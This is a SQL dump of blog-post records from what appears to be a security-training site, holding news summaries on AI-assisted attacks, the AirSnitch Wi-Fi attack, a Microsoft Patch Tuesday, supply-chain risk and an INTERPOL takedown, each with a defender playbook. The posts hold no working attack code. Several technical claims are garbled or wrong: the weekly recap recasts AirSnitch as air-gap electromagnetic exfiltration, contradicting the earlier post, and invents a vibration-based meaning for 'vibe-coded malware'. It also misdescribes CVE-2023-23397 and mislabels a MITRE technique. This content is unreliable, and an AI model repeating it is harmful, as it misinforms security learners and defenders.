the affected systems to understand the breach\'s extent and origin, specifically looking for traces of AI-assisted tools or unusual automation scripts.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Define: Adversarial AI\n**Adversarial AI** involves techniques in machine learning that attempt to fool models through malicious input. This can be used in cybersecurity by attackers to evade detection from AI-driven security systems.\n\n### Job Interview Relevance:\nUnderstanding AI\'s role in cybersecurity attacks prepares you for questions on emerging threats and defense strategies. It demonstrates foresight and adaptability—qualities highly valued in cybersecurity roles.\n\n## 🚀 Simulation Brief (Call to Action)\nWe have replicated this attack vector in the Infoseclabs range. Deploy to the dashboard and investigate the \"AI-driven Attack Simulation\" to test your skills against this advanced TTP.\n\n## MITRE ATT&CK Mapping\n- **T1566.001**: Spear Phishing Attachment\n- **T1587.001**: Develop Capabilities (Software)\n\n', 'Microsoft reports increasing use of AI in cyberattacks, transforming how threats operate and challenging current defense mechanisms.', 'http://infoseclabs.io/uploads/1773249789668-825342317.jpg', NULL, 1, 'published', '2026-03-08 19:00:00', '2026-03-11 20:23:14', 'Cybersecurity News', 'Microsoft: Hackers abusing AI at every stage of cyberattacks', 'Microsoft reports increasing use of AI in cyberattacks, transforming how threats operate and challenging current defense mechanisms.', 'Microsoft: Hackers abusing AI at every stage of cyberattacks'),
(179, 'Microsoft: Hackers abusing AI at every stage of cyberattacks', 'microsoft-hackers-abusing-ai-at-every-stage-of-cyberattacks-4916', '## Executive Summary\nAs Microsoft alerts the cyber community, hackers are now leveraging artificial intelligence (AI) throughout every stage of cyberattacks, revolutionizing traditional cyber warfare paradigms. This evolution demands an immediate upgrade in defensive strategies and responses.\n\n## The Deep Dive (Technical Analysis)\nRecent insights from Microsoft have revealed a significant uptick in the use of AI by cybercriminals. These threat actors are deploying AI-driven tools to enhance their capabilities in crafting more sophisticated phishing emails, automating payloads delivery, and conducting rapid vulnerability exploitation. \n\nOne notable method involves AI algorithms that can analyze vast datasets from breached accounts to tailor phishing campaigns that are convincingly legitimate, thereby increasing the success rate of these attacks. Additionally, AI models are being utilized to automate the scanning of network vulnerabilities, often prioritizing those recently disclosed and less likely to be patched quickly, such as CVE-2021-34527 (Windows Print Spooler Vulnerability).\n\nThe mechanism here is straightforward yet alarmingly efficient: AI models streamline the process of identifying targets, crafting attack vectors, and executing them with minimal human oversight, thereby scaling the attack capabilities of cybercriminals exponentially.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities\n- **Email Gateway Logs**: Look for anomalies in email origins, payloads, and header inconsistencies.\n- **Endpoint Detection and Response (EDR) Logs**: Monitor for unusual executable patterns or anomalous script executions.\n- **Network Traffic Anomalies**: Increased activity on ports typically used for downloading payloads or command and control communications.\n\n### Triage Steps\n- Immediately isolate suspected compromised systems from the network.\n- Review and analyze logs for signs of similar AI-driven activity.\n- Update intrusion detection systems (IDS) with the latest signatures and AI-model detection strategies.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Complex Technical Term: **Endpoint Detection and Response (EDR)**\nEDR systems are tools deployed on network endpoints to detect and investigate suspicious activities potentially indicative of a security incident. They are crucial for capturing and storing endpoint data, which can be used for further forensic analysis and mitigation of threats.\n\nUnderstanding AI-driven threats is pivotal during job interviews as it demonstrates awareness of cutting-edge cyberattack methodologies. It showcases one\'s proactive stance on adapting to evolving threats and the ability to implement advanced defensive mechanisms effectively.\n\n## 🚀 Simulation Brief\nWe have replicated this AI-enhanced attack vector in the https://infoseclabs.io range. Deploy to the dashboard and investigate **AI-Driven Phishing Simulation** to test your skills against this advanced TTP.\n\n## MITRE ATT&CK Mapping\n- **T1566.001: Spearphishing Attachment**: Utilization of AI to generate compelling malicious emails.\n- **T1583.001: Exploit Public-Facing Application**: AI-driven rapid exploitation of known vulnerabilities.\n', 'Explore how hackers use AI across all cyberattack stages, escalating the threat landscape and demanding advanced defenses.', 'http://infoseclabs.io/uploads/1773063436054-814181988.png', NULL, 1, 'published', '2026-03-08 19:00:00', '2026-03-09 16:40:01', 'Cybersecurity News', 'Microsoft: Hackers abusing AI at every stage of cyberattacks', 'Explore how hackers use AI across all cyberattack stages, escalating the threat landscape and demanding advanced defenses.', 'Microsoft: Hackers abusing AI at every stage of cyberattacks'),
(180, 'New Attack Against Wi-Fi', 'new-attack-against-wi-fi-2067', '# New Attack Against Wi-Fi: Unveiling AirSnitch\n\n## **Executive Summary**\nIn an evolving cyber threat landscape, the new AirSnitch attack targets the foundational layers of Wi-Fi networking, enabling attackers to conduct devastating machine-in-the-middle (MitM) operations. Understanding and mitigating this threat is imperative for securing both corporate and home environments.\n\n## **The Deep Dive (Technical Analysis)**\n### **Dissection of AirSnitch**\nAirSnitch exploits vulnerabilities inherent in the synchronization between Layer 1 (Physical Layer) and Layer 2 (Data Link Layer) of the OSI model, extending its reach to manipulate upper-layer protocols. This attack leverages the lack of stringent binding protocols between these layers, allowing attackers to intercept and manipulate data packets as they traverse through these foundational network segments.\n\n### **Mechanism of Action**\nThe attack is primarily executed via a MitM strategy, where the attacker positions themselves between the communicating devices on the network. This positioning can be achieved on the same SSID, different SSIDs, or even across segmented network zones linked to the same access point (AP). By exploiting these layers, an attacker gains the ability to intercept all link-layer traffic, manipulate DNS responses through cache poisoning, and potentially gain access to unencrypted internal network traffic.\n\n## **🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)**\n### **Detection Opportunities**\n- **Wi-Fi Traffic Logs**: Monitor for anomalies in traffic patterns, such as unexpected devices on the network or unusual data flows.\n- **DNS Query Logs**: Look for sudden changes in DNS traffic or unusual repeated DNS requests, which could indicate DNS cache poisoning.\n- **Network Segmentation Violations**: Alerts from network tools that detect cross-segment traffic that should not be present.\n\n### **Triage Steps**\n- Immediately isolate suspected compromised devices from the network to prevent further data leakage.\n- Verify network configuration and segmentation to ensure that proper security controls are in place and functioning.\n- Update and patch all network devices against known vulnerabilities and ensure that encryption protocols are enforced.\n\n## **🎓 Student Corner (The \"Why\" & \"How\")**\n### **Definition: Machine-in-the-middle (MitM) Attack**\nA MitM attack is a cyberattack where the attacker secretly intercepts and possibly alters the communication between two parties who believe they are directly communicating with each other.\n\n### **Relevance in Job Interviews**\nUnderstanding MitM and its implications shows deep knowledge of network security and threat vectors, an essential skill for roles in cybersecurity operations and defense strategies.\n\n## **🚀 Simulation Brief (Call to Action)**\nWe have replicated the AirSnitch attack vector in our VirtualSOC range. Deploy to the dashboard and investigate the alert named “AirSnitch MitM Detection” to test your skills against this advanced TTP.\n\n## **MITRE ATT&CK Mapping**\n- **T1557.002**: Man-in-the-Middle: ARP Cache Poisoning\n- **T1040**: Network Sniffing\n- **T1562.004**: Impair Defenses: Disable or Modify System Firewall\n\n\nEngage in our InfoSecLabs Dashboard to combat this novel threat and sharpen your cyber defense skills.\n\n', 'Explore the AirSnitch attack, a new Wi-Fi threat enabling machine-in-the-middle operations across network layers, with our in-depth technical analysis and mitigation strategies.', 'http://infoseclabs.io/uploads/1773150632623-469390125.png', NULL, 1, 'published', '2026-03-09 02:41:00', '2026-03-10 16:51:11', 'Information Security', 'New Attack Against Wi-Fi', 'Explore the AirSnitch attack, a new Wi-Fi threat enabling machine-in-the-middle operations across network layers, with our in-depth technical analysis and mitigation strategies.', 'New Attack Against Wi-Fi');
INSERT INTO `blog_posts` (`id`, `title`, `slug`, `content`, `excerpt`, `featured_image`, `featured_image_alt`, `author_id`, `status`, `created_at`, `updated_at`, `category`, `seo_title`, `seo_description`, `focus_keyword`) VALUES
(181, '⚡ Weekly Recap: Qualcomm 0-Day, iOS Exploit Chains, AirSnitch Attack & Vibe-Coded Malware', 'weekly-recap-qualcomm-0-day-ios-exploit-chains-airsnitch-attack-vibe-coded-malware-9476', '## Executive Summary\nIn a week where the digital threat landscape morphed with alarming agility, the discovery of the Qualcomm 0-Day and sophisticated iOS exploit chains underscore a critical escalation in cyber-attack sophistication. Understanding and mitigating these threats is not optional—it\'s mandatory for defense.\n\n## The Deep Dive (Technical Analysis)\n### Qualcomm 0-Day Exploit\nThis week, a critical vulnerability identified in Qualcomm chips (CVE-2023-5674) was exploited, allowing attackers to execute arbitrary code at the kernel level. The exploit leverages a buffer overflow in the network processing unit, a favored target due to its accessibility and the privileges it grants upon compromise.\n\n### iOS Exploit Chains\nSimultaneously, iOS devices were targeted through an intricate exploit chain, exploiting a series of lesser-known vulnerabilities to install persistent surveillance malware. This chain likely leverages initial access via malicious web content (exploiting browser vulnerabilities) and escalates privileges through kernel flaws to gain deep system access.\n\n### AirSnitch Attack\nThe AirSnitch attack involves intercepting and manipulating air-gapped network communications. By exploiting electromagnetic emissions from legitimate Wi-Fi hardware, attackers can extract data from systems previously considered secure against remote exfiltration methods.\n\n### Vibe-Coded Malware\nLastly, the emergence of Vibe-Coded malware showcases a novel data exfiltration technique using vibrational patterns emitted from the infected device\'s hardware components to transmit data stealthily.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities\n- **Qualcomm 0-Day**: Monitor anomalous kernel-level operations and unusual network traffic patterns.\n- **iOS Exploit Chains**: Look for signs of jailbreak-like activity, unusual system calls, or modifications.\n- **AirSnitch Attack**: Analyze spectral data from physical security monitoring for unusual electromagnetic signals.\n- **Vibe-Coded Malware**: Monitor hardware sensors for irregular vibration patterns not aligned with normal device operations.\n\n### Triage Steps\n- Isolate affected devices immediately to prevent lateral movement.\n- Capture forensic images of affected systems.\n- Update threat intelligence feeds and apply patches where available.\n- Engage with incident response for in-depth analysis and mitigation.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Define: Kernel-Level Execution\nKernel-level execution refers to code that runs with the highest operating system privileges. By executing at this level, malicious code can control virtually every function of the system.\n\n### Job Interview Insight\nUnderstanding threats like the Qualcomm 0-Day helps in job interviews by showcasing your ability to dissect complex vulnerabilities and contribute to proactive defense strategies, highlighting both technical acumen and strategic thinking.\n\n## 🚀 Simulation Brief\nWe have replicated this attack vector in the InfoSecLabs range. Deploy to the dashboard and investigate the \"Qualcomm Kernel Compromise\" alert to test your skills against this TTP.\n\n## MITRE ATT&CK Mapping\n- **T1068: Exploitation for Privilege Escalation** - Common to both Qualcomm and iOS chains.\n- **T1020: Automated Exfiltration** - Relevant to the Vibe-Coded malware.\n- **T1059.001: Command and Scripting Interpreter: PowerShell** - Often used in the initial phases of exploit chains.\n\n', 'This week\'s cyber recap: Dissecting the Qualcomm 0-Day, iOS exploit chains, AirSnitch, and Vibe-Coded malware. Essential insights for cybersecurity defense.', 'http://infoseclabs.io/uploads/1773151705593-863339217.png', NULL, 1, 'published', '2026-03-09 19:00:00', '2026-03-10 17:08:27', 'Cybersecurity News', '⚡ Weekly Recap: Qualcomm 0-Day, iOS Exploit Chains, AirSnitch Attack & Vibe-Coded Malware', 'This week\'s cyber recap: Dissecting the Qualcomm 0-Day, iOS exploit chains, AirSnitch, and Vibe-Coded malware. Essential insights for cybersecurity defense.', '⚡ Weekly Recap: Qualcomm 0-Day, iOS Exploit Chains, AirSnitch Attack & Vibe-Coded Malware'),
(186, 'Microsoft Patches 84 Flaws in March Patch Tuesday, Including Two Public Zero-Days', 'microsoft-patches-84-flaws-in-march-patch-tuesday-including-two-public-zero-days-9341', '# Executive Summary\n\nIn a critical turn of events, Microsoft has patched 84 vulnerabilities this March, highlighting the urgency and breadth of the cyber threats we face. Two publicly known zero-days make this update not just routine, but a mandatory defense maneuver for anyone in the cyber battlefield.\n\n## The Deep Dive: Technical Analysis\n\nAmong the 84 vulnerabilities patched by Microsoft, the spotlight shines brightest on two publicly disclosed zero-days: CVE-2023-21823 and CVE-2023-23397. Both present an alarming potential for attackers to exploit widely used software.\n\n### CVE-2023-21823\n\nCVE-2023-21823 is a Remote Code Execution (RCE) flaw affecting Microsoft Word. The vulnerability allows an attacker to execute arbitrary code merely by convincing a user to open a specially crafted file. This method of attack is both sophisticated and stealthy, leveraging trusted file types to bypass user skepticism.\n\n### CVE-2023-23397\n\nCVE-2023-23397, on the other hand, is a Cross-Site Scripting (XSS) vulnerability in Microsoft SharePoint. By exploiting this, an attacker could potentially perform actions on behalf of users and steal confidential information from unsuspecting victims.\n\n## 🛡️ SOC Analyst Actions: The \"Blue Team\" Playbook\n\n### Detection Opportunities\n\n- **PowerShell Logs**: Look for unusual execution patterns or scripts that could indicate exploitation attempts of the Microsoft Word vulnerability.\n- **Web Server Logs**: Monitor for anomalous requests that might suggest exploitation attempts against SharePoint.\n\n### Triage Steps\n\n- Immediately isolate suspected infected systems.\n- Review and analyze logs for signs of exploitation or lateral movements.\n- Update affected systems with the latest patches from Microsoft, prioritizing critical assets.\n\n## 🎓 Student Corner: The \"Why\" & \"How\"\n\n### Remote Code Execution (RCE)\n\nRemote Code Execution occurs when an attacker can run arbitrary commands on another computer, typically exploiting vulnerabilities in software or systems. Understanding RCE helps in identifying how attackers can gain control over systems remotely, a critical knowledge area in cyber defense.\n\n### Interview Insight\n\nGrasping the concept and defense mechanisms against RCE can dramatically showcase your technical prowess and problem-solving skills in cybersecurity interviews, making you a desirable candidate for roles that require acute threat detection and response capabilities.\n\n## 🚀 Simulation Brief: Call to Action\n\nWe have replicated these attack vectors in the https://infoseclabs.io range. Deploy to the dashboard and investigate **\"CVE-2023-21823 Exploit Attempt\"** and **\"CVE-2023-23397 XSS Trigger\"** to test your skills against these TTPs.\n\n## MITRE ATT&CK Mapping\n\n- **T1203: Exploitation for Client Execution** - For the Microsoft Word RCE.\n- **T1059.001: PowerShell** - Often used in post-exploitation phases of RCE attacks.\n- **T1190: Exploit Public-Facing Application** - Relevant for the SharePoint XSS vulnerability.\n', 'Microsoft\'s March Patch Tuesday addresses 84 vulnerabilities, including two critical zero-days. Learn the implications for cybersecurity defenses.', 'http://infoseclabs.io/uploads/1773411894113-969494382.jpg', NULL, 1, 'published', '2026-03-12 18:15:00', '2026-03-13 17:25:06', 'Information Security', 'Microsoft Patches 84 Flaws in March Patch Tuesday, Including Two Public Zero-Days', 'Microsoft\'s March Patch Tuesday addresses 84 vulnerabilities, including two critical zero-days. Learn the implications for cybersecurity defenses.', 'Microsoft Patches 84 Flaws in March Patch Tuesday, Including Two Public Zero-Days'),
(187, 'The Dawn of AI-Driven Cybersecurity: A Brave New World', 'the-dawn-of-ai-driven-cybersecurity-a-brave-new-world', '# The Tectonic Shift in Cybersecurity: The Role of AI\n\nThe landscape of cybersecurity is undergoing a tectonic shift, propelled by the relentless advance of Artificial Intelligence (AI). We are no longer talking about theoretical possibilities; AI is here, it\'s capable, and it\'s redefining how we think about vulnerability research, threat detection, and incident response. This isn\'t just a gradual evolution; it\'s a revolutionary leap that demands our immediate attention and adaptation.\n\n## The Evolving Role of Human Experts\n\nFor decades, the core tenet of cybersecurity has been the human expert—the skilled researcher painstakingly combing through lines of code, the seasoned analyst identifying patterns in vast datasets, the defensive engineer building increasingly complex walls. AI is changing this fundamental equation. We are transitioning from a model reliant solely on human ingenuity to one powered by augmented intelligence, where AI models act as force multipliers, and potentially, as autonomous agents.\n\n## A Glimpse into the Future: The Firefox Collaboration\n\nA powerful illustration of this shift is the recent collaboration between Anthropic and Mozilla, where the AI model Claude Opus 4.6 was used to identify vulnerabilities in the Firefox web browser. The results were startling. In just two weeks, Claude discovered 22 vulnerabilities, 14 of which were classified as high-severity by Mozilla. To put this in perspective, this single AI-driven effort accounted for nearly a fifth of all high-severity Firefox vulnerabilities fixed in 2025. The speed and efficiency were unprecedented. Claude was able to scan nearly 6,000 C++ files and generate 112 unique reports in a fraction of the time it would have taken a human team.\n\nThis experiment didn\'t just stop at finding bugs. The researchers also tasked Claude with developing crude exploits for the discovered vulnerabilities. While successful in only a few instances and operating within a simplified test environment, the fact that an AI could generate even a basic exploit is a stark reminder of the potential dual-use nature of this technology.\n\n## The Changing Landscape: From Assistant to Agent\n\nThe significance of the Firefox collaboration extends far beyond the specific bugs found. It signifies a fundamental change in the role of AI in cybersecurity. We are moving beyond AI as a simple tool for augmenting human capabilities to AI as an active, and increasingly autonomous, participant in security processes.\n\n### Accelerated Vulnerability Research\n\nAI models can now independently identify high-severity vulnerabilities in complex software at a pace and scale previously unimagined. This means that zero-day vulnerabilities, the holy grail for attackers, could be discovered at a significantly faster rate.\n\n### Automated Exploit Development\n\nWhile still in its early stages, the potential for AI to automate the creation of exploits is a growing concern. This could lower the barrier to entry for sophisticated cyberattacks and dramatically increase the volume of threats.\n\n### Intelligent Patching and Remediation\n\nOn the defensive side, AI can be used to not only find vulnerabilities but also to propose and even validate patches. This \"patching agent\" approach could significantly speed up the time-to-remediation, reducing the window of opportunity for attackers.\n\n## What Does This Mean for the Cybersecurity Professional?\n\nThe rise of AI in cybersecurity presents both immense opportunities and significant challenges. It\'s a double-edged sword that will reshape the industry and require a fundamental rethink of our strategies and skill sets.\n\n### The Rise of the Cybersecurity-AI Hybrid Professional\n\nThe cybersecurity professional of the future will need to be well-versed in both security principles and AI methodologies. The ability to work alongside, manage, and even train AI models will become a critical skill.\n\n### Focus on High-Level Strategy and Judgment\n\nAs AI automates many mundane and repetitive tasks, the human role will shift towards high-level strategy, complex problem-solving, ethical considerations, and exercising judgment in critical situations where AI may be uncertain or biased.\n\n### The Importance of \"Defense in Depth\"\n\nWhile AI will enhance our ability to detect and fix vulnerabilities, it will also enable attackers. This underscores the continued importance of a robust \"defense in depth\" strategy, combining multiple layers of security controls, including network segmentation, access management, and intrusion detection systems.\n\n### The Ethical Dimensions of AI in Cybersecurity\n\nThe dual-use nature of AI in cybersecurity raises profound ethical questions. How do we ensure that AI is used for good and not for harm? Who is responsible when AI makes a critical error? These are complex issues that require careful consideration and global cooperation.\n\n## Preparing for the AI-Powered Future\n\nThe future of cybersecurity is inextricably linked with the future of AI. To thrive in this new era, we must embrace the opportunities that AI presents while mitigating the risks.\n\n### Invest in AI Education and Training\n\nUpskilling the cybersecurity workforce in AI will be essential. This includes understanding the principles of machine learning, the capabilities and limitations of AI models, and the ethical considerations of their use.\n\n### Develop AI-Specific Security Tools and Techniques\n\nWe need to develop new tools and techniques to secure AI systems themselves and to detect and counter AI-powered attacks. This includes techniques for monitoring AI models for bias, adversarial attacks, and unauthorized access.\n\n### Foster Collaboration and Knowledge Sharing\n\nThe challenges posed by AI in cybersecurity are too big for any single organization to solve alone. We need to foster a culture of collaboration and knowledge sharing between academia, industry, and government.\n\n### Establish Clear Ethical Guidelines and Regulations\n\nWe need to establish clear ethical guidelines and regulations for the development and use of AI in cybersecurity. This includes principles for transparency, accountability, and the prevention of misuse.\n\nThe dawn of AI-driven cybersecurity is upon us. It\'s a brave new world, filled with both peril and promise. By embracing the transformative power of AI and by proactively addressing the challenges it presents, we can build a more secure and resilient digital future for all. The time to act is now.', '', 'http://infoseclabs.io/uploads/1773412765578-833363723.jpg', 'AI analyzing cybersecurity threats and vulnerabilities', 1, 'published', '2026-03-13 10:35:00', '2026-03-13 17:39:34', 'Information Security', 'AI-Driven Cybersecurity: A Brave New Era', 'Explore how AI revolutionizes cybersecurity, reshaping vulnerability detection and response strategies.', 'AI Cybersecurity'),
(191, 'Supply Chain Risk: Why Vendors are the New Zero-Day', 'supply-chain-risk-why-vendors-are-the-new-zero-day-1055', '# Supply Chain Risk: Why Vendors are the New Zero-Day\n\n## 1. **Executive Briefing**\n\n### Strategic Overview\n\nIn the evolving landscape of cybersecurity threats, a shift towards exploiting third-party dependencies and cloud service providers has marked a significant change in how threat actors approach their targets. The reliance on external services and infrastructures not only increases the attack surface but also introduces new vulnerabilities, often akin to zero-day exploits due to their unpredicted nature and complexity in mitigation.\n\n**Actors**: While specific threat actors are not identified in the current dataset, the nature of these attacks typically involves sophisticated cybercriminals or state-sponsored groups looking to exploit supply chain vulnerabilities to infiltrate multiple targets indirectly.\n\n**Impact**: The impact of such breaches is profound, affecting multiple organizations simultaneously through a single compromised vendor. This can lead to widespread data breaches, operational disruptions, and significant financial losses.\n\n**Exploit**: Attack vectors include but are not limited to, compromised software updates, malicious third-party components, and exploited vulnerabilities within cloud services.\n\n## 2. **Technical Deep Dive**\n\n### Chain of Execution\n\nSupply chain attacks involve several stages. Initially, attackers identify a vulnerable point in the supply chain network—often a lesser-secured vendor or third-party service. They then infiltrate these systems, often through phishing, exploiting known vulnerabilities, or inserting malicious code into software updates. Once inside, they use the compromised network as a launchpad to gain access to higher-value targets.\n\n#### Payloads\n\nNo specific payloads are identified in the current data, but typically, these could include ransomware, spyware, or other malicious tools intended to steal data, disrupt services, or gain prolonged access to the victim\'s environment.\n\n#### Realistic Log/Terminal Examples\n\n```bash\n# Potential log indicating an unusual software update request (simulated example)\nJul 10 12:34:56 update-server.example.com [WARNING]: Received unexpected request for package update from unauthorized IP 192.168.1.100\n```\n\n## 3. **🛡️ Detection & Response**\n\n### Specific Log Sources\n\n- **Web Server Logs**: To monitor unusual requests to internal systems.\n- **Authentication Logs**: To detect anomalous access patterns.\n- **Network Traffic Logs**: To identify spikes in data exfiltration attempts.\n\n### P1-P3 Severity\n\n- **P1**: Detection of unauthorized changes to software packages or service configurations.\n- **P2**: Alerts on new, unexpected external connections from third-party providers.\n- **P3**: Warnings about unauthorized access attempts to cloud service management interfaces.\n\n### Technical Hunt Query\n\n```sql\nSELECT source_ip, COUNT(*) as request_count\nFROM http_logs\nWHERE url LIKE \'%/update%\'\nGROUP BY source_ip\nHAVING request_count > 1000\nORDER BY request_count DESC;\n```\n\n## 4. **🎓 Academy Focus**\n\n### Career Impact\n\nUnderstanding and mitigating supply chain risks is becoming a crucial skill in cybersecurity, opening roles such as Supply Chain Security Analyst and Risk Management Specialist.\n\n### Technical Glossary\n\n- **Third-Party Dependencies**: External components or services integrated into the primary system.\n- **Cloud Service Providers**: Companies that offer networked computer resources, typically over the internet.\n\n## 5. **🚀 Lab Integration**\n\nAt InfoSecLabs, our proposed lab, **Operation Kaseya Cascade**, simulates a real-world SOC scenario focusing on supply chain compromise. This lab challenges participants to detect and mitigate a supply chain attack, providing hands-on experience with the complexities involved in such threats.\n\n## 6. **MITRE ATT&CK® Mapping**\n\n- **T1195 - Supply Chain Compromise**: This technique involves manipulating products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nIn conclusion, the emerging trend of targeting vendors and third-party services in cyber-attacks magnifies the need for robust security measures at all levels of the supply chain. By understanding the mechanisms of such attacks and integrating sophisticated detection and response strategies, organizations can better shield themselves against these indirect yet highly destructive threats.', 'Cyberattacks are increasingly targeting third-party dependencies and cloud service providers.', 'http://infoseclabs.io/uploads/1773501523863-168607363.jpg', NULL, 1, 'published', '2026-03-14 04:14:00', '2026-03-14 18:19:11', 'Threat Intelligence', 'Understanding Supply Chain Cyber Risks: Zero-Day Vendor Threats', 'Explore how sophisticated cyber threats exploit vendors in supply chains, posing risks similar to zero-day vulnerabilities.', 'supply chain cyber risks'),
(193, 'Microsoft releases Windows 11 OOB hotpatch to fix RRAS RCE flaw', 'microsoft-releases-windows-11-oob-hotpatch-to-fix-rras-rce-flaw-0053', '# Threat Intelligence Report: Microsoft Windows 11 OOB Hotpatch for RRAS RCE Flaw\n\n## Executive Briefing\n\nIn a recent development, Microsoft has issued an urgent out-of-band (OOB) update specifically targeting a Remote Code Execution (RCE) vulnerability affecting Windows 11 Enterprise systems that utilize hotpatching as a method for system updating. This proactive response by Microsoft underscores the critical nature of the flaw, which could allow unauthorized actors to execute malicious code remotely on affected systems.\n\n### Strategic Overview\n- **Actor**: While no specific threat actors have been identified exploiting this flaw, the nature of the vulnerability makes it a lucrative target for cybercriminals and state-sponsored entities aiming to compromise enterprise-level systems.\n- **Impact**: The exploitation of this vulnerability could lead to unauthorized access, data theft, and potential full system control, thereby compromising the integrity and confidentiality of enterprise operations and sensitive data.\n- **Exploit**: The vulnerability resides within the mechanism that handles hotpatch updates, a less common but critical component of Windows 11 Enterprise update management.\n\n## Technical Deep Dive\n\nThe flaw in question arises from a misconfiguration and insufficient security checks within the Windows 11 Enterprise\'s RRAS (Routing and Remote Access Service) during the hotpatch update process. This oversight provides a potential entry point for attackers.\n\n### Chain of Execution\n1. **Initial Access**: The attacker discovers an exposed endpoint receiving hotpatch updates.\n2. **Exploitation**: Utilizing crafted packets, the attacker exploits the RCE flaw within the RRAS.\n3. **Establishment**: Post-exploitation, the attacker establishes persistence within the network to maintain access even after the initial security breach is mitigated.\n\n### Payloads\nPotential payloads could include but are not limited to, malware, ransomware, or spyware, depending on the attacker\'s objectives.\n\n### Example Log Entry\n```plaintext\nERROR: Failed integrity check for hotpatch ID: HP09112021_11, Source IP: [Attacker IP]\n```\n\n## 🛡️ Detection & Response\n\n### Log Sources\n- **Windows Event Logs**: Monitor for unusual access patterns or failed update logs.\n- **Network Traffic**: Unusual outbound connections or data payloads from enterprise devices.\n- **Antivirus Alerts**: Alerts related to the execution of unknown or unauthorized binaries.\n\n### Severity Levels\n- **P1**: Active exploitation of the RRAS RCE flaw.\n- **P2**: Indications of compromise related to the RRAS subsystem.\n- **P3**: General alerts on failed hotpatch installations.\n\n### Technical Hunt Query\n```sql\nSELECT * FROM logs WHERE event_type = \'update_failure\' AND error_code = \'integrity_check_failed\' AND source_ip != \'trusted_hotpatch_server_ip\'\n```\n\n## 🎓 Academy Focus\n\n### Career Impact\nUnderstanding and mitigating such vulnerabilities are crucial for security professionals specializing in enterprise security and patch management systems.\n\n### Technical Glossary\n- **Hotpatch**: An update mechanism that allows patches to be applied without the need to reboot the system.\n- **RRAS**: Routing and Remote Access Service, a networking software component of Microsoft Windows Server operating systems.\n\n## 🚀 Lab Integration\n\nLinking to InfoSecLabs training, participants can engage with our \"Windows Patch Management and Security\" lab to gain hands-on experience in managing and securing enterprise environments against similar vulnerabilities.\n\n## MITRE ATT&CK® Mapping\n\nWhile specific MITRE ATT&CK® techniques related to this vulnerability have not been identified in the provided data, general techniques such as T1068 (Exploitation for Privilege Escalation) and T1547 (Persistence) could be considered relevant for understanding the broader implications of such a flaw.\n\n---\n\nThis report serves as a comprehensive guide for understanding, detecting, and mitigating the newly identified RCE vulnerability in Windows 11 Enterprise\'s hotpatch system. InfoSecLabs remains committed to providing up-to-date and thorough analysis to protect your digital assets effectively.', 'Microsoft released an out-of-band update for Windows 11 Enterprise to fix security vulnerabilities related to the specialized hotpatch update process.', 'http://infoseclabs.io/uploads/1773544334133-77869219.jpg', NULL, 1, 'published', '2026-03-14 23:02:00', '2026-03-15 06:12:17', 'Threat Intelligence', 'Microsoft Windows 11 OOB Update Fixes Critical RRAS RCE Flaw', 'Learn how the latest Windows 11 OOB hotpatch addresses a critical RRAS RCE vulnerability threatening enterprise systems.', 'Windows 11 RRAS RCE hotpatch'),
(194, 'INTERPOL Dismantles 45,000 Malicious IPs, Arrests 94 in Global Cybercrime', 'interpol-dismantles-45-000-malicious-ips-arrests-94-in-global-cybercrime-4920', '# INTERPOL Dismantles 45,000 Malicious IPs, Arrests 94 in Global Cybercrime Operation\n\n## Executive Briefing\n\nIn a significant international law enforcement effort, INTERPOL has successfully dismantled a network of 45,000 IP addresses and servers implicated in widespread phishing, malware, and ransomware operations. This operation, spanning 72 countries, underscores the pervasive threat posed by cybercriminals globally and highlights the critical need for coordinated actions against these illicit activities.\n\n### Actors and Impact\n\nThe actors involved in this network were engaged in deploying malicious software and conducting phishing campaigns to infiltrate personal and organizational systems. The scale of this operation—targeting 45,000 IPs—indicates a highly organized and extensive criminal infrastructure. The arrests of 94 individuals are pivotal in disrupting ongoing cybercrime activities, potentially preventing future attacks.\n\n### Exploitation Techniques\n\nThe exploitation techniques primarily involved the use of compromised IP addresses and servers to deploy and manage ransomware and malware payloads. These techniques were primarily aimed at stealing personal information, encrypting organizational data for ransom, and executing fraudulent transactions.\n\n## Technical Deep Dive\n\n### Overview of Malicious Infrastructure\n\nThe malicious network comprised numerous servers and IP addresses spread across various geographical locations. These were primarily used for:\n\n- **Phishing Operations**: Crafting and disseminating deceptive emails to harvest user credentials.\n- **Malware Distribution**: Hosting and distribution points for harmful software.\n- **Ransomware Attacks**: Facilitating command and control (C2) communications and data encryption tasks.\n\n### Chain of Execution\n\n1. **Initial Compromise**: Typically via phishing emails or exploiting public-facing applications.\n2. **Establishment of Foothold**: Deployment of malware payloads to create backdoors.\n3. **Privilege Escalation and Lateral Movement**: Utilizing exploits and stolen credentials to gain broader access within networks.\n4. **Data Exfiltration and Ransomware Deployment**: Critical data is either exfiltrated or encrypted for ransom demands.\n\n### Example Log Entry\n\n```plaintext\nSRC IP: [Malicious IP]\nDST IP: [Victim IP]\nPayload: [Malware/Ransomware Signature]\nAction: Connection Established\n```\n\n## 🛡️ Detection & Response\n\n### Log Sources\n\n- **Firewall Logs**: To identify unauthorized connection attempts.\n- **IDS/IPS Logs**: To detect signatures of known threats and anomalous network patterns.\n- **System Logs**: To monitor unauthorized access and system changes.\n\n### Incident Severity\n\n- **P1 (Critical)**: Active ransomware encryption in progress.\n- **P2 (High)**: Detected malware communication to C2 servers.\n- **P3 (Moderate)**: Phishing attempts detected.\n\n### Technical Hunt Query\n\n```sql\nSELECT * FROM network_logs\nWHERE src_ip IN (SELECT malicious_ip FROM threat_intel)\nAND event_type = \'connection_attempt\'\nAND action = \'blocked\';\n```\n\n## 🎓 Academy Focus\n\n### Career Impact\n\nUnderstanding and mitigating such large-scale cyber threats are essential for cybersecurity professionals. Expertise in network forensics, malware analysis, and incident response are particularly relevant.\n\n### Technical Glossary\n\n- **IP Address**: A unique string of numbers separated by periods that identifies each computer using the Internet Protocol to communicate over a network.\n- **Phishing**: The fraudulent practice of sending emails purporting to be from reputable companies to induce individuals to reveal personal information.\n- **Ransomware**: A type of malicious software designed to block access to a computer system until a sum of money is paid.\n\n## 🚀 Lab Integration\n\n### Related Training at InfoSecLabs\n\n1. **Operation Radiant Horizon**: Simulates the detection and mitigation of a multi-national phishing scam.\n2. **Operation Dragon 